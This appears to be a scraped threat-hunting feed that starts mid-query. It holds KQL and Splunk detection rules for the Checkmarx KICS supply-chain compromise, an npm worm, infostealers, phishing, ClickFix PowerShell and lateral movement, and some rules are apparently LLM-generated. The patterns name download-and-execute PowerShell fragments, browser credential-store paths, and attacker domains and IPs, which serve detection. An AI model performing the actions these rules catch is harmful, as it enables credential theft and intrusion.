| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Malicious KICS Docker Images and VS Code Extensions Hit Checkmarx Supply ChainExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Malicious KICS Docker Images and VS Code Extensions Hit Checkmarx Supply Chain
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("mcpaddon.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("mcpaddon.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Malicious KICS Docker Images and VS Code Extensions Hit Checkmarx Supply Chain ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("mcpaddon.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("mcpaddon.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Beacon to TeamPCP C2 audit.checkmarx[.]cx /v1/telemetry from Checkmarx KICS supply-chain compromiseCommand & ControlHigh
Hunts outbound connections to the attacker-controlled exfiltration endpoint used by the trojanized checkmarx/kics Docker image and trojanized Checkmarx VS Code extensions (Apr 22 2026). The poisoned KICS binary encrypts scan reports and POSTs them to https://audit.checkmarx[.]cx/v1/telemetry — that domain is a typosquat of legitimate checkmarx.com and resolves to 94.154.172.43 / 91.195.240.123.
Rationale: Domain audit.checkmarx[.]cx, parent checkmarx[.]cx, IPs 94.154.172.43 / 91.195.240.123, and the URI path /v1/telemetry are all named in the Socket / Docker advisory and corroborated by BleepingComputer and SCWorld. The .cx TLD typosquat of checkmarx.com makes any callback inherently malicious — extremely low FP. Cross-checked: Socket blog, Docker blog, BleepingComputer, SCWorld brief.
Cross-checked against:
• https://socket.dev/blog/checkmarx-supply-chain-compromise
• https://www.docker.com/blog/trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026/
• https://www.bleepingcomputer.com/news/security/new-checkmarx-supply-chain-breach-affects-kics-analysis-tool/
• https://www.scworld.com/brief/checkmarx-docker-hub-repository-compromised-with-malicious-images
ATT&CKT1071.001T1567T1583.001
Data sourcesNetwork_Traffic.All_TrafficNetwork_Resolution.DNSWeb.Web
let badDomains = dynamic(["audit.checkmarx.cx","checkmarx.cx"]);
let badIPs = dynamic(["94.154.172.43","91.195.240.123"]);
union
(DeviceNetworkEvents
| where Timestamp >= ago(60d)
| where RemoteUrl has_any (badDomains)
or RemoteIP in (badIPs)
or (RemoteUrl has "checkmarx.cx" and RemoteUrl has "/v1/telemetry")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, ActionType),
(DeviceEvents
| where ActionType == "DnsQueryResponse" or ActionType has "Dns"
| where AdditionalFields has_any (badDomains) or RemoteUrl has_any (badDomains)
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl, AdditionalFields)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_ip) as dest_ip values(All_Traffic.dest_port) as dest_port values(All_Traffic.src) as src values(All_Traffic.app) as app from datamodel=Network_Traffic where (All_Traffic.dest_ip IN ("94.154.172.43","91.195.240.123") OR All_Traffic.dest="audit.checkmarx.cx" OR All_Traffic.dest="checkmarx.cx") by All_Traffic.src All_Traffic.dest All_Traffic.user | `drop_dm_object_name(All_Traffic)` | append [| tstats `summariesonly` count from datamodel=Web where (Web.url="*audit.checkmarx.cx*" OR Web.url="*/v1/telemetry*" AND Web.url="*checkmarx.cx*") by Web.src Web.user Web.url Web.http_user_agent | `drop_dm_object_name(Web)`] | append [| tstats `summariesonly` count from datamodel=Network_Resolution where (DNS.query="audit.checkmarx.cx" OR DNS.query="checkmarx.cx") by DNS.src DNS.query DNS.answer | `drop_dm_object_name(DNS)`] | convert ctime(firstTime) ctime(lastTime)
[LLM] Pull or run of trojanized checkmarx/kics Docker image (v2.1.20 / v2.1.21 / alpine / latest)InstallationHigh
Detects developers and CI/CD runners pulling or running the poisoned checkmarx/kics tags pushed during the Apr 22 2026 14:17–15:41 UTC compromise window, or referencing the known malicious image digests. Catches the install/delivery step before the modified KICS Go binary runs and beacons to audit.checkmarx[.]cx.
Rationale: Tags v2.1.20, v2.1.21 (rogue), alpine, debian, latest, v2.1.20-debian and the three sha256 digests (manifest 2588a44…, amd64 d186161…, arm64 415610a…) are explicitly listed as malicious in the Socket advisory and Docker blog. Any pull of these by digest is unambiguously malicious; tag references during/after Apr 22 2026 also worth alerting because the legitimate maintainers retagged. Cross-checked Socket and Docker advisories.
Cross-checked against:
• https://socket.dev/blog/checkmarx-supply-chain-compromise
• https://www.docker.com/blog/trivy-kics-and-the-shape-of-supply-chain-attacks-so-far-in-2026/
• https://www.bleepingcomputer.com/news/security/new-checkmarx-supply-chain-breach-affects-kics-analysis-tool/
ATT&CKT1195.002T1610T1204.003
Data sourcesEndpoint.Processes
let badDigests = dynamic(["sha256:2588a44890263a8185bd5d9fadb6bc9220b60245dbcbc4da35e1b62a6f8c230d","sha256:d186161ae8e33cd7702dd2a6c0337deb14e2b178542d232129c0da64b1af06e4","sha256:415610a42c5b51347709e315f5efb6fffa588b6ebc1b95b24abf28088347791b"]);
let badRefs = dynamic(["checkmarx/kics:v2.1.21","checkmarx/kics:v2.1.20","checkmarx/kics:alpine","checkmarx/kics:debian","checkmarx/kics:v2.1.20-debian","checkmarx/kics:latest"]);
DeviceProcessEvents
| where Timestamp >= ago(60d)
| where FileName in~ ("docker.exe","docker","podman.exe","podman","nerdctl.exe","nerdctl","crictl","skopeo","buildah","kubectl.exe","kubectl")
| where ProcessCommandLine has_any ("pull","run","create","image","apply","-f ")
| where ProcessCommandLine has_any (badRefs) or ProcessCommandLine has_any (badDigests) or ProcessCommandLine has "checkmarx/kics@sha256:"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name IN ("docker","docker.exe","podman","podman.exe","nerdctl","crictl","skopeo")) AND (Processes.process IN ("*pull*","*run*","*create*","*image*")) AND (Processes.process="*checkmarx/kics*" OR Processes.process="*checkmarx/kics:v2.1.21*" OR Processes.process="*checkmarx/kics:v2.1.20*" OR Processes.process="*checkmarx/kics:alpine*" OR Processes.process="*checkmarx/kics:debian*" OR Processes.process="*checkmarx/kics:v2.1.20-debian*" OR Processes.process="*checkmarx/kics:latest*" OR Processes.process="*sha256:2588a44890263a8185bd5d9fadb6bc9220b60245dbcbc4da35e1b62a6f8c230d*" OR Processes.process="*sha256:d186161ae8e33cd7702dd2a6c0337deb14e2b178542d232129c0da64b1af06e4*" OR Processes.process="*sha256:415610a42c5b51347709e315f5efb6fffa588b6ebc1b95b24abf28088347791b*") by host Processes.dest Processes.user Processes.process Processes.parent_process | `drop_dm_object_name(Processes)` | convert ctime(firstTime) ctime(lastTime)
[LLM] Trojanized Checkmarx VS Code / Open VSX extension installed (cx-dev-assist 1.17.0/1.19.0, ast-results 2.63.0/2.66.0)DeliveryHigh
Detects installation or on-disk presence of the four trojanized Checkmarx IDE extensions identified in the Apr 22 2026 TeamPCP compromise. Looks for VSIX files, .vscode/extensions folder writes, or `code --install-extension` invocations referencing the malicious version tags.
Rationale: Socket and BleepingComputer both name the four trojanized extension versions: cx-dev-assist 1.17.0, cx-dev-assist 1.19.0, ast-results 2.63.0, ast-results 2.66.0 (last safe = ast-results 2.64.0 / cx-dev-assist 1.18.0). Matching on those exact publisher.id-version strings or the resulting `~/.vscode/extensions/<id>-<ver>` folder is high-fidelity supply-chain hunting. Cross-checked Socket and BleepingComputer.
Cross-checked against:
• https://socket.dev/blog/checkmarx-supply-chain-compromise
• https://www.bleepingcomputer.com/news/security/new-checkmarx-supply-chain-breach-affects-kics-analysis-tool/
• https://cybernews.com/security/checkmarx-popular-tools-spread-credential-stealing-malware/
ATT&CKT1195.002T1176T1204.002
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let badExtRefs = dynamic(["checkmarx.cx-dev-assist-1.17.0","checkmarx.cx-dev-assist-1.19.0","checkmarx.ast-results-2.63.0","checkmarx.ast-results-2.66.0"]);
union
(DeviceProcessEvents
| where Timestamp >= ago(60d)
| where FileName in~ ("code.exe","code-insiders.exe","codium.exe","cursor.exe","code","code-insiders")
| where ProcessCommandLine has "--install-extension"
| where ProcessCommandLine has_any ("checkmarx.cx-dev-assist","checkmarx.ast-results","cx-dev-assist@1.17.0","cx-dev-assist@1.19.0","ast-results@2.63.0","ast-results@2.66.0")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName),
(DeviceFileEvents
| where Timestamp >= ago(60d)
| where FolderPath has_any (badExtRefs) or FileName has_any (badExtRefs)
| where FolderPath has @"\.vscode\extensions" or FolderPath has "/.vscode/extensions/" or FolderPath has @"\.open-vsx\" or FileName endswith ".vsix"
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine)
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process_name IN ("code.exe","code","code-insiders.exe","codium","cursor.exe","npm.exe","npm")) AND (Processes.process="*--install-extension*" OR Processes.process="*ovsx*") AND (Processes.process="*checkmarx.cx-dev-assist*" OR Processes.process="*checkmarx.ast-results*" OR Processes.process="*cx-dev-assist-1.17.0*" OR Processes.process="*cx-dev-assist-1.19.0*" OR Processes.process="*ast-results-2.63.0*" OR Processes.process="*ast-results-2.66.0*") by host Processes.dest Processes.user Processes.process Processes.parent_process | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*\\.vscode\\extensions\\checkmarx.cx-dev-assist-1.17.0*" OR Filesystem.file_path="*\\.vscode\\extensions\\checkmarx.cx-dev-assist-1.19.0*" OR Filesystem.file_path="*\\.vscode\\extensions\\checkmarx.ast-results-2.63.0*" OR Filesystem.file_path="*\\.vscode\\extensions\\checkmarx.ast-results-2.66.0*" OR Filesystem.file_path="*/.vscode/extensions/checkmarx.cx-dev-assist-1.17.0*" OR Filesystem.file_path="*/.vscode/extensions/checkmarx.ast-results-2.63.0*" OR Filesystem.file_path="*/.vscode/extensions/checkmarx.ast-results-2.66.0*" OR Filesystem.file_path="*/.vscode/extensions/checkmarx.cx-dev-assist-1.19.0*") by host Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.action | `drop_dm_object_name(Filesystem)`] | convert ctime(firstTime) ctime(lastTime)
2026-04-228 use cases5 techniques6 kill-chain phases detected
Cybersecurity researchers have flagged a fresh set of packages that have been compromised by bad actors to deliver a self-propagating worm that spreads through stolen developer npm tokens. The supply chain worm has been detected by both Socket and StepSecurity, with the companies tracking the activity under the name CanisterSprawl owing to the use of an ICP canister to exfiltrate the stolen data
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("") or RemoteUrl has_any ("telemetry.api-monitor.com", "cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("telemetry.api-monitor.com", "cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("telemetry.api-monitor.com", "cjn37-uyaaa-aaaac-qgnva-cai.raw.icp0.io")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
2026-04-223 use cases1 technique5 kill-chain phases detected
Read how Microsoft is partnering with Anthropic and broader industry to use leading models, paired with our platforms and expertise, to turn AI-driven discovery into protection at scale. The post AI-powered defense for an AI-accelerated threat landscape appeared first on Microsoft Security Blog .
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code.
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonatorDeliveryHigh
External Teams chat where displayName contains 'helpdesk' or 'IT support' — common 2024+ vishing pattern (Storm-1811, Black Basta, UNC6692). No CIM data model maps to Teams chats; uses raw O365 audit logs.
ATT&CKT1566.004T1566
Data sourcesCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where Application == "Microsoft Teams"
| where ActionType == "MessageSent"
| where RawEventData has "ExternalParticipants"
| extend SenderDisplayName = tostring(parse_json(RawEventData).SenderDisplayName)
| where SenderDisplayName matches regex @"(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)"
| project Timestamp, AccountDisplayName, IPAddress, ActivityType, SenderDisplayName, RawEventData
`o365_management_activity`
Workload=MicrosoftTeams Operation=MessageSent
ExternalParticipants=*
| where match(SenderDisplayName, "(?i)(help.?desk|it.?support|service.?desk|tech.?support|admin)")
| stats count, earliest(_time) as firstTime, latest(_time) as lastTime
by SenderUpn, SenderDisplayName, RecipientUpn, ChatId
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-04-2212 use cases5 techniques6 kill-chain phases detected
